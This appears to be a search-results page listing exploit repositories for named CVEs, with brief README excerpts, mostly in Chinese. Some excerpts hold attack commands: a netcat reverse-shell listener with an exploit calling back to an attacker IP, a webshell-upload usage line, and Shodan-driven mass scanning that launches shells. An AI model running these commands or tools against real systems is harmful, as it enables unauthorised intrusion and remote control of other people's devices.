1326263 matches found
CVE-2023-38035-MobileIron-RCE
MobileIron CVE-2023-38035 漏洞利用 README.md 描述 该 bash 脚本自动扫描易受 CVE-2023-38035 漏洞影响的 MobileIron 系统。脚本执行多项检查，包括检查所需程序、从 Shodan 下载潜在目标、扫描这些目标，最后尝试在易受攻击的系统上启动 shell。 功能 自动 Shodan 查询，查找易受攻击的 MobileIron 系统 提取 IP 地址以供扫描 自动评估目标漏洞 提供使用不同方法（如 ncat 或 multireverse.sh）执行反向 shell 的选项 检查缺失的依赖项并推荐安装 漂亮横幅，让工具看起来很酷 😎...
PaloAlto_EXP
PaloAltoEXP PaloAlto EXP（CVE-2017-15944） 版本 =PAN-OS 6.1.18 =PAN-OS 7.0.18 =PAN-OS 7.1.14 =PAN-OS 8.0.5...
Apache-Pluto-3.0.0--CVE-2018-1306
CVE-2018-1306 Apache Pluto 3.0.0 授权逻辑中的问题，允许攻击者通过篡改 HTTP 方法上传恶意文件。 脚本使用 python3 编写。 用法：python3 ./plutorce.py http://192.168.0.1/ webshell.jsp...
CVE-2018-11235
CVE-2018-11235...
Apache-Commons-Text-CVE-2022-42889
Apache Commons Text CVE-2022-42889 概述 Apache Text4Shell CVE-2022-42889 受影响的Apache Commons Text版本为1.5至1.9，已在1.10版本中修复。 Apache Commons Text是一个Java库，被描述为 "专注于字符串操作算法的库"。 使用方法： 1. 将 Text4ShellCVE-2022-42889.bb 复制到 Burp BountyData\profiles 目录中 2. 选择要扫描的请求 参考...
CVE-2022-1386
git clone https://github.com/satyasai1460/CVE-2022-1386.git cd CVE-2022-1386 apt install python3-pip pip install -r requirements.txt python3 exploit.py...
cve-2023-29357-Sharepoint
CVE 2023 29357 信息 目标 SharePoint（Windows Server 2016 + SharePoint 2019） Login : FSI\Administrateur Password : Admin123! IP : 192.168.56.4 Hostname : WIN-HEVUJ4GJMA6 攻击机 Lubuntu（版本 22.04.3） Login : fsi Password : Admin123! IP : 192.168.56.3 搭建测试环境 启动 SharePoint 虚拟机 cd "Serveur SharePoint" vagrant u...
CVE-2024-24919-Exploit
CVE-2024-24919-Exploit CVE-2024-24919 漏洞利用工具，可检查更多文件以获得更好的可见性...
CVE-2017-5638
CVE-2017-5638 转换为 Python3 原始链接：https://www.exploit-db.com/exploits/41570...
PoC_iOS12
PoCiOS12 针对 iOS 12 至 iOS 12.1 的 PoC 漏洞利用程序（CVE-2018-4431） 内核可用于：iPhone 5s 及更高版本、iPad Air 及更高版本，以及 iPod Touch 第六代。...
CVE-2016-3749-PoC
Este repositorio no tiene un README...
CVE-2019-18370_XiaoMi_Mi_WIFI_RCE_analysis
Este repositorio no tiene un README...
ps4-11.50.github.io
ps4-11.50.github.io ps4 cve-2008-3531...
karma_v2
⡷⠂𝚔𝚊𝚛𝚖𝚊 𝚟𝟸⠐⢾ 𝚔𝚊𝚛𝚖𝚊 𝚟𝟸 はパッシブなオープンソースインテリジェンス（OSINT）自動偵察（フレームワーク）です。 𝚔𝚊𝚛𝚖𝚊 𝚟𝟸 は、情報セキュリティ研究者、ペネトレーションテスター、バグハンターが、標的に関する深い情報、より多くのアセット、WAF/CDNバイパスされたIP、内部/外部インフラ、公開されているリークなどを発見するために使用できます。この自動化を使用するには、Shodan Premium API キーが必要です。𝚔𝚊𝚛𝚖𝚊 𝚟𝟸 からの出力は画面に表示され、ファイル/ディレクトリに保存されます。 ℹ Premium Shodan API...
hikvision-exploiter
CVE-2017-7921., CVE-2021-36260 更新于 21/01/2026...
intel_amt_bypass
intelamtbypass CVE-2017-5689 的简单 POC 用法: python amibypass.py x.x.x.x...
RCE-in-Spring-Cloud-CVE-2022-22963
Spring Cloud RCE 漏洞利用工具 CVE-2022-22963 用于 CVE-2022-22963 远程命令执行的 Spring Cloud Function 漏洞利用工具 关于此漏洞的详细信息，请参见此处和此处 PoC 在你的主机上运行 netcat： $ nc -lvnp 9001 在攻击者主机上使用默认端口 9001 运行漏洞利用工具（示例）： $ ./exploit.sh site.com 10.10.14.122 ---Reverse Shell Exploit for CVE-2022-22963 RCE in Spring Cloud Function---...
root-my-s24
RootMyS24 免解鎖 root · Samsung Galaxy S24 系列（S9210 / S9260 / S9280）+ 國行 Z Fold6 基於核心漏洞 CVE-2026-43499 的安全研究專案 简体中文 · 繁體中文（台灣） · 繁體中文（香港） · English 安全研究宣告：本專案僅用於安全研究與自有裝置維護。使用核心漏洞提權存在導致系統崩潰、資料丟失、裝置變磚的風險，使用者需自行承擔一切後果。請勿用於非法用途。 使用情況 以下為匿名聚合 統計（資料來自 App 內可選的執行日誌共享）：不含 IP、城市或任何裝置標識。 圖表由專案伺服器動態生成，隨資料自動更新...
domato
Domato 🍅 A DOM fuzzer Written and maintained by Ivan Fratric, [email protected] Copyright 2017 Google Inc. All Rights Reserved. Licensed under the Apache License, Version 2.0 the "License"; you may not use this file except in compliance with the License. You may obtain a copy of the License ...